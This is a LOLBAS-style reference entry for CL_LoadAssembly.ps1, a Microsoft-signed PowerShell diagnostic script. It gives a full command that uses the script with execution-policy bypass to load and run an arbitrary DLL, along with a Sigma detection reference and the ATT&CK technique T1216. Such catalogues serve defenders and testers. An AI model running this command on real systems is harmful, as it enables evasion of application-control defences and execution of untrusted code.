



/CL_LoadAssembly.ps1 Star

Execute (DLL)

PowerShell Diagnostic Script

Paths:

C:\Windows\diagnostics\system\Audio\CL_LoadAssembly.ps1

Resources:

- <https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/>

Acknowledgements:

- Jimmy ([@bohops](#))

Detections:

- Sigma: [proc_creation_win_lolbas_cl_loadassembly.yml](#)

Execute

Proxy execute Managed DLL with PowerShell

```
powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"
```

Use case:	Execute proxied payload with Microsoft signed binary
Privileges required:	User
Operating systems:	Windows 10 21H1 (likely other versions as well), Windows 11
ATT&CK® technique:	T1216: System Script Proxy Execution
Tags:	Execute: DLL